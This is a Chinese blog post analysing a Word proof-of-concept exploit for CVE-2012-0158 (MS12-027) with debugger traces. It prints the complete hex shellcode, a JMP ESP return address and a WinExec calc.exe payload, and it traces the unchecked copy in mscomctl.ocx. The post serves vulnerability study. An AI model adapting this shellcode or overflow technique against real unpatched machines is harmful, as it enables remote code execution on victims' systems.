注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

调试一个WORD的POC  

2013-05-09 08:10:52|  分类: 调试记录 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

            调试一个WORD的POC

                                                                                                     hcper @ 2012.5.30

以前一直没研究过WORD的利用,最近找到一个WORD的POC,就顺便调试了一下。

先在虚拟机里,运行该poc,弹出计算器。

从创建进程的API中,先后试了system、CreateProcessA、CreateProcessW都没成功,

最后试了WinExec才算成功。

中断在WinExec
0:000> r
eax=7c86250d ebx=023357b8 ecx=001217ac edx=876f8b31 esi=00201a04 edi=00000000
eip=7c86250d esp=00121700 ebp=00121712 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
kernel32!WinExec:
7c86250d 8bff             mov     edi,edi
0:000> dd esp
00121700 001217ac 001217cb00000001 0089e8fc
00121710  89600000 64d231e5 8b30528b 528b0c52
00121720  28728b14 264ab70f c031ff31 7c613cac
。。。

查看参数
0:000> da001217cb
001217cb  "calc.exe"

0:000> db 001217cb l10
001217cb  63 61 6c 63 2e 65 78 65-00 00 00 00 00 00 00 00  calc.exe........

查看返回地址001217ac附近代码
0:000> u 00121790
00121790 5a               pop     edx
00121791 51               push    ecx
00121792 ffe0             jmp     eax
00121794 58               pop     eax
00121795 5f               pop     edi
00121796 5a               pop     edx
00121797 8b12             mov     edx,[edx]
00121799 eb86             jmp     00121721
0012179b 5d               pop     ebp
0012179c 6a01             push    0x1
0012179e 8d85b9000000     lea     eax,[ebp+0xb9]
001217a4 50               push    eax
001217a5 68318b6f87       push    0x876f8b31
001217aa ffd5             call    ebp
返回地址
001217acbbf0b5a256       mov     ebx,0x56a2b5f0
001217b1 68a695bd9d       push    0x9dbd95a6
001217b6 ffd5             call    ebp
001217b8 3c06             cmp     al,0x6
001217ba 7c0a             jl      001217c6
001217bc 80fbe0           cmp     bl,0xe0
001217bf 7505             jnz     001217c6
001217c1 bb4713726f       mov     ebx,0x6f721347
001217c6 6a00             push    0x0
001217c8 53               push    ebx
001217c9 ffd5             call    ebp
001217cb 63616c           arpl    [ecx+0x6c],esp这里就是参数指向的数据,解释为代码。
001217ce 632e             arpl    [esi],ebp
001217d0 657865           js      00121838
001217d3 0000             add     [eax],al
001217d5 0000             add     [eax],al

先用记事本打开poc,看到如下非零字符串:

1245fa7f9090909090909090fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500

结合上面的调试,可以确定就是shellcode了。

是哪个word的哪个环节,导致跳到ShellCode呢?

从上面的ShellCode中看到一个熟悉的地址7FFA4512,

该地址是JMP ESP在好几个平台下的通用地址。

所以想在该地址下个断点。但是在cdb中,下bp 7ffa4512断点,

运行不了,所以改下ba e1 7ffa4512断点。

中断后,查看堆栈附近

0:000> dd /c 1 esp-20
001216ec  00000064
001216f0  00008282
001216f4  00000000
001216f8  00000000
001216fc  00000000
00121700  7ffa4512 jmp esp
00121704  90909090
00121708  90909090
0012170c  0089e8fc
00121710  89600000
00121714  64d231e5
00121718  8b30528b
。。。

可以看到覆盖的RET在00121700处,现在被改写成了7ffa4512,那原来的RET值是多少呢?

知道了原来的值,也就差不多定位到了有问题的代码了。

很容易想到用内存断点。但是,内存断点常导致很多如下异常:

(1d0.390): Single step exception - code 80000004 (first chance)

查看windbg帮助后,可以设置异常选项解决。

我这是当异常发生是,显示我要的值的信息,如eip,RET值,通过后期的对比分析,

就可以找到问题所在了。

设置00121700内存的写入断点:

ba w1 00121700

设置单步异常通知,显示EIP,RET值

sxn -c "r eip;dd 00121700 l1" sse

运行后,值就出来了

。。。

eip=275c89c7 ;从这开始
00121700  275e701a ;这个估计是修改前的返回值了!!!
(2bc.3ec): Single step exception - code 80000004 (first chance)
eip=275c87cb
00121700  7ffa4512 ;这里已经改变,所以要在前面一句
(2bc.3ec): Single step exception - code 80000004 (first chance)
eip=001217aa
00121700  876f8b31
(2bc.3ec): Single step exception - code 80000004 (first chance)
。。。

从上面的记录,我们可以从275c89c7地址处的代码开始找,重运行该poc。

因为模块还没加载,所以下bp断点不行,下断点
ba e1 275c89c7
0:007> g

运行后中断
先查看一下RET之前的值
0:000> dd 00121700 l1
00121700 275e701a

在下断
0:000> ba w1 00121700
0:000> g
中断在
(5cc.414): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008282 ebx=023357b8 ecx=0000209c edx=00000000esi=05180058 edi=00121704
eip=275c87cb esp=001216b8 ebp=001216c8 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010207
mscomctl!DllGetClassObject+0x41a87:
275c87cb f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

查看一下,确认RET已经改变
0:000> dd 00121700 l1
00121700 7ffa4512

堆栈
0:000> kn
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 001216c8 275c8a0a mscomctl!DllGetClassObject+0x41a87
01 00121714 275ac296 mscomctl!DllGetClassObject+0x41cc6
02 00000000 00000000 mscomctl!DllGetClassObject+0x25552

看一下esi附近
0:000> dd esi-10
05180048  00000000 00000000 000000007ffa4512
05180058  90909090 90909090 0089e8fc 89600000
05180068  64d231e5 8b30528b 528b0c52 28728b14
。。。

再看一下edi
0:000> dd 00121700
00121700  7ffa4512 00201a0c 023357b8 00000000
00121710  002019e8 05252960 275ac296 00000001
00121720  00121744 00121744 275e7361 00201a0c
。。。

可以从上面看到ShellCode即将复制到堆栈中。

 

下面用OD打开C:\WINDOWS\system32\mscomctl.ocx看相关的代码:

/////////////////////
275E7004  /.  55            push    ebp
275E7005  |.  8BEC          mov     ebp, esp
275E7007  |.  83EC 0C       sub     esp, 0C
275E700A  |.  53            push    ebx
275E700B  |.  8B5D 0C       mov     ebx, dword ptr [ebp+C]
275E700E  |.  56            push    esi
275E700F  |.  8B75 08       mov     esi, dword ptr [ebp+8]
275E7012  |.  57            push    edi
275E7013  |.  53            push    ebx
275E7014  |.  56            push    esi
275E7015  |.  E8 AD19FEFF   call    275C89C7 <--------------进入
275E701A  |.  85C0          test    eax, eax
275E701C  |.  7C 27         jl      short 275E7045
275E701E  |.  6A 08         push    8
275E7020  |.  8D45 F4       lea     eax, dword ptr [ebp-C]
275E7023  |.  53            push    ebx
275E7024  |.  50            push    eax
275E7025  |.  E8 4317FEFF   call    275C876D


275C89C7   $  55            push    ebp
275C89C8   .  8BEC          mov     ebp, esp
275C89CA   .  83EC 14       sub     esp, 14
275C89CD   .  53            push    ebx
275C89CE   .  8B5D 0C       mov     ebx, dword ptr [ebp+C]
275C89D1   .  56            push    esi
275C89D2   .  57            push    edi
275C89D3   .  6A 0C         push    0C
275C89D5   .  8D45 EC       lea     eax, dword ptr [ebp-14]
275C89D8   .  53            push    ebx
275C89D9   .  50            push    eax
275C89DA   .  E8 8EFDFFFF   call    275C876D 第一次复制
275C89DF   .  83C4 0C       add     esp, 0C
275C89E2   .  85C0          test    eax, eax
275C89E4   .  7C 6C         jl      short 275C8A52
275C89E6   .  817D EC 436F6>cmp     dword ptr [ebp-14], 6A626F43
275C89ED   .  0F85 92A60000 jnz     275D3085
275C89F3   .  837D F4 08    cmp     dword ptr [ebp-C], 8
275C89F7   .  0F82 88A60000 jb      275D3085  ;条件判断错误?
275C89FD   .  FF75 F4       push    dword ptr [ebp-C];这里的[ebp-C]=00008282

275C8A00   .  8D45 F8       lea     eax, dword ptr [ebp-8]
275C8A03   .  53            push    ebx
275C8A04   .  50            push    eax
275C8A05   .  E8 63FDFFFF   call    275C876D 第二次复制<--------------进入
275C8A0A   .  8BF0          mov     esi, eax
275C8A0C   .  83C4 0C       add     esp, 0C
275C8A0F   .  85F6          test    esi, esi
275C8A11   .  7C 3D         jl      short 275C8A50
275C8A13   .  837D F8 00    cmp     dword ptr [ebp-8], 0
275C8A17   .  8B7D 08       mov     edi, dword ptr [ebp+8]
275C8A1A   .  74 2A         je      short 275C8A46
275C8A1C   .  8365 0C 00    and     dword ptr [ebp+C], 0
275C8A20   .  8D45 0C       lea     eax, dword ptr [ebp+C]
275C8A23   .  53            push    ebx
275C8A24   .  50            push    eax
275C8A25   .  E8 2F000000   call    275C8A59
275C8A2A   .  8BF0          mov     esi, eax
275C8A2C   .  59            pop     ecx
275C8A2D   .  85F6          test    esi, esi
275C8A2F   .  59            pop     ecx
275C8A30   .  7C 1E         jl      short 275C8A50
275C8A32   .  FF75 0C       push    dword ptr [ebp+C]
275C8A35   .  8D4F DC       lea     ecx, dword ptr [edi-24]
275C8A38   .  E8 AAD1FBFF   call    27585BE7
275C8A3D   .  FF75 0C       push    dword ptr [ebp+C]
275C8A40   .  FF15 40155827 call    dword ptr [<&OLEAUT32.#6>]                  ;  OLEAUT32.SysFreeString
275C8A46   >  837D FC 00    cmp     dword ptr [ebp-4], 0
275C8A4A   .  0F85 3FA60000 jnz     275D308F
275C8A50   >  8BC6          mov     eax, esi
275C8A52   >  5F            pop     edi
275C8A53   .  5E            pop     esi
275C8A54   .  5B            pop     ebx
275C8A55   .  C9            leave
275C8A56   .  C2 0800       retn    8 <--------------这里返回7ffa4512 jmp esp

275C876D   $  55            push    ebp
275C876E   .  8BEC          mov     ebp, esp
。。。

275C87BE   .  8B75 0C       mov     esi, dword ptr [ebp+C]
275C87C1   .  8BCF          mov     ecx, edi
275C87C3   .  8B7D 08       mov     edi, dword ptr [ebp+8]
275C87C6   .  8BC1          mov     eax, ecx
275C87C8   .  C1E9 02       shr     ecx, 2
275C87CB   .  F3:A5         rep     movs dword ptr es:[edi], dword ptr [esi] <---------前面的条件导致溢出
275C87CD   .  8BC8          mov     ecx, eax
275C87CF   .  8B45 10       mov     eax, dword ptr [ebp+10]
275C87D2   .  83E1 03       and     ecx, 3
。。。

275C8806   .  C3            retn


///////////////////////////


 后记【2012.6.8】

后来在网上查了一下资料得知,该漏洞为CVE-2012-0158

对应的微软编号为MS12027

(MS12-027) Vulnerability in Windows Common Controls Could Allow Remote Code Execution (2664258) 

网上找到的资料:

【1】http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158

【2】http://about-threats.trendmicro.com/Vulnerability.aspx?language=cn&name=(MS12-027)+Vulnerability+in+Windows+Common+Controls+Could+Allow+Remote+Code+Execution+(2664258)

【3】http://www.venustech.com.cn/NewsInfo/449/13620.Html

【4】http://bbs.pediy.com/showthread.php?t=149957

 

附加一张图片【2012.6.13】

调试一个WORD的POC - appall - 且行且记录

 

  评论这张
 
阅读(825)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017